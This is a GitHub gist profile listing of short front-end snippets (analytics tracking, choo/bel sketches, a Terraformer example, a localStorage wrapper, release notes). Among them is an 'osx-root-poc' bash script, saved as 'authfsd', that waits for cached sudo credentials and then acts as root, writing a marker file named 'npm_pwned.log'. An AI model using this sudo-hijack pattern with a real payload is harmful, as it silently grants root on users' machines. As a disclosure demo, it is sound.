Skip to content

Instantly share code, notes, and snippets.

View ungoldman's full-sized avatar
🤔
💭

Nate Goldman ungoldman

🤔
💭
View GitHub Profile
@ungoldman
ungoldman / example.html
Created October 24, 2011 23:02
ga click tracking w/ data attributes
<!DOCTYPE HTML>
<html lang='en-US'>
<head>
<meta charset='UTF-8'>
<title></title>
</head>
<body>
<a data-ga='play' data-context='game'>Play</a>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js"></script>
@ungoldman
ungoldman / authfsd
Last active September 4, 2017 20:04
osx-root-poc source
#!/bin/bash
while :; do sudo -n ls &>/dev/null && break || sleep 1; done
echo "Hello from `sudo whoami`" > "$HOME/npm_pwned.log"
sudo chown root "$HOME/npm_pwned.log"
sudo chmod 400 "$HOME/npm_pwned.log"
@ungoldman
ungoldman / index.js
Created August 10, 2017 23:22
requirebin sketch
var html = require('choo/html')
var choo = require('choo')
var app = choo()
app.use(titleStore)
app.route('/', mainView)
app.mount('body')
function mainView (state, emit) {
return html`
@ungoldman
ungoldman / index.html
Last active May 21, 2017 19:02
terraformer example
<script src="https://rawgit.com/Esri/Terraformer/master/terraformer.js"></script>
<script src="https://rawgit.com/Esri/terraformer-arcgis-parser/master/terraformer-arcgis-parser.js"></script>
<!-- CDN or locally hosted is ideal but I'm using raw github so that we get error reporting within the unminified source
<script src="http://cdn-geoweb.s3.amazonaws.com/terraformer/1.0.4/terraformer.min.js"></script>
<script src="http://cdn-geoweb.s3.amazonaws.com/terraformer-arcgis-parser/1.0.4/terraformer-arcgis-parser.min.js"></script>
-->
<script>
var input = {
"x": -66.796875,
"y": 20.0390625,
@ungoldman
ungoldman / .block
Last active May 10, 2017 00:24
basic grid layout with pure CSS and no classes
license: mit
height: 100%
scrolling: yes
@ungoldman
ungoldman / SHEPHERD.md
Last active April 7, 2017 00:12
some basic things every open source project should have
@ungoldman
ungoldman / index.js
Last active March 25, 2016 00:31
requirebin sketch
var bel = require('bel')
var html = '<div>hi</div>'
var body = bel`<div>${html}</div>`
document.body.appendChild(body)
try {
document.body.appendChild(bel`${html}`)
} catch (e) {
document.body.appendChild(bel`<div>${e.message}</div>`)
@ungoldman
ungoldman / tinystore.js
Last active March 9, 2016 02:04
Tiny localStorage wrapper (moved to https://github.com/ngoldman/tinystore)
function TinyStore (name) {
this.enabled = (function(){
try {
return 'localStorage' in window && window['localStorage'] !== null;
} catch (e) {
return false;
}
})();
this.session = {};
@ungoldman
ungoldman / js_package_release.md
Last active December 28, 2015 19:59
Release You A Package

JS Release Steps

build

  1. lint, test
  2. bump versions in all relevant places
    • package.json, bower.json, banners, docs
  3. build

github release

@ungoldman
ungoldman / r_notes.md
Created October 20, 2013 20:06
R Notes